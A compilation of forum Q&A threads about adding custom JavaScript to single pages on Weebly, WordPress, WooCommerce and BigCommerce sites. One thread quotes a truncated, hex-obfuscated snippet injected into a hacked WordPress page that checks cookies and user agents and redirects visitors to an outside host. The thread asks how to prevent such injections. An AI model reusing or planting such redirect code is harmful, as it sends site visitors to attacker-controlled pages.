Adding Custom JavaScript into Individual Weebly product pages - javascript

I am trying to add an Age verification code to only certain categories on my Weebly store but can't figure out how to implement it on only certain pages. I tried adding an "Embedded element" to the pages but the script doesn't run. the code I am trying to get to work is:
'<script type="text/javascript" src="https://custom.ageverify.co/shopshag/av.js"></script>'
any help is appreciated!

An easy way to accomplish this is with the site http://age-verify.com. They provide the code snippet and there is a free plan.

Related

weird javascript code appearing in wp page

On a WP multisite some javascript code suddenly appeared in one of the pages. We don't think the client did this theirselves. When I google the code I find something very similar in a pastebin: https://pastebin.com/rUn6KnKe
it looks a bit like
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego
Also I can find some other sites who have some code like this:
http://pcsarmacardio.com/
http://ddreadymixconcrete.com/photos/
We can easily delete it since it is in the editor, but does anyone know why this happens and how to prevent it ?
This is the indication that your wordpress site has been tried for hacking.
Remove that virus and take the site lock and make your wordpress updated and do the clean coding for same.
Remove unwanted code. secure 404.php of theme. Have the proper redirection..
use wp_nonce_field if you are taking the data from users.

Simplify BigCommerce Checkout Page

I have a client that is using BigCommerce and would like to simplify the checkout page. He'd like all the fields on one page but doesn't like how there's accordions. Does anyone have any suggestions on how to default all the fields to open? I am familiar with JavaScript to an extent but couldn't do this from scratch.
There's another article: TRUE single checkout page on BigCommerce
but I'm not sure how to go about putting it in the site or creating a trigger. Any help would be greatly appreciated.
I actually decided that instead of risking the potential complications with overriding their JavaScript, I just edited the physical html files from the theme.

Google Analytics for Individual WordPress Pages [duplicate]

I'm trying to get Google Analytics Code to work on the thank-you page after customer has filled in the contact form and I've tried putting it in the thank-you page which is in the pages under admin in Wordpress backend using HTML tab but it seems to generate unnecessary p and br tags in between codes especially before closing tag. I'm not sure whether that is causing the issue or not.
Is there a way we can do this for just one page?
I'm not 100 % sure whether it's possible at all to insert javascript with the tinyMCE Editor of Wordpress.
If that's true, then you can try the following:
Get the posts' ID: Look at the linking in your admin menu when you are in the view where you can see all your posts, e.g.
http://www.your-url.com/wp-admin/post.php?post=796&action=edit
796 would be your ID here.
Enter the following in your header.php of your wordpress theme (to find at /wp-content/themes/theme-name):
.
<?php if (is_page(796)) { ?>
//YOUR ANALYTICS CODE IN HERE
<?php } ?>
Replace 796 with your ID here, and put your analytics code in between the PHP code.
It sounds like you're trying to add it using the "Visual" view, which formats whatever you put in into paragraphs, etc.
Try switching to "HTML" view (the tab is at the top right of the input box) and add it there - hopefully that should allow you to add it without converting it!
Edit: As per my comments below, I made a mistake - it seems even the HTML tab adds some degree of formatting.
In this case, you may find some use with this plugin:
http://wordpress.org/extend/plugins/raw-html/
This allows you to displable to auto formatting on a per-post basis. So on that specific page you could turn off the autoformatting simply to allow you to add that Analytics snippet.
The only other way I can think off offhand would be to write a custom page_template just for that thankyou page and add it to there. Instructions are here: http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates

How to insert JS into a single product in WordPress?

I would like to know how can I insert a custom JavaScript script into a product. I am using the WooCommerce plugin. Basically I have some scripts which would go into different products.
Example:
Script1 is for Product1, Product2, Product3 Script2 is for Product4, Product5
etc.
What I really mean is that different products would have different scripts. So how can I add those scripts into the product?
Kind regards, Urban.
Man...sometimes I just need to ask a question to figure it out on my own :)
What I did:
Installed plugin "Code Embed" so my HTML wouldn't get auto corrected. I could insert my HTML directly into the product.
Uploaded my emailpage.js to my website
Linked it using the first example given here: JavaScript codex
And thats it :)

Trying to add a javascript ad to a single wordpress post

I'm new to javascript, so please bear with me. I'm trying to insert the following javascript ad
<script type="text/javascript">
guh=Math.random()*10000000000000000;
document.write('<scr' + 'ipt language=\'JavaScript1.1\' SRC=\"http://ad.doubleclick.net/adj/N8493.3871.VALUECLICKMEDIA/B7858697.4;sz=300x250;click=http://cpadna1.com/?E=SY5O2%2fi8VAfDIPQpCyNY2w%3d%3d&s1=&ckmrdr=http%3A//www.alpinedrct.com/click.track%3FCID%3D245964%26AFID%3D136557%26ADID%3D1036808%26NonEncodedURL%3D;ord='+guh+'?\"></scr' + 'ipt>');
</script>
into a wordpress post. It never appears when I publish it.
From my research it looks like my best bet was to use this plugin: http://wordpress.org/plugins/custom-fields-shortcode/ but the ad didn't show up.
I also tried putting the script in the custom field section and inserted it into the post. Still no luck.
Could you please point me in the right direction for what I should be looking into? Thanks for any help.
So, a few things. I have had the same issue recently.
First of all, you want to make sure you are placing it in the code view.
Wordpress can block scripts in your posts, so you need to install the Text Control plugin, which overrides the blocking.
Finally, try debugging the script.
You could also try adding it to the themes code.
Here is a link that I found helpful on this issue.
Another one, this time from Wordpress.org.

Categories

Resources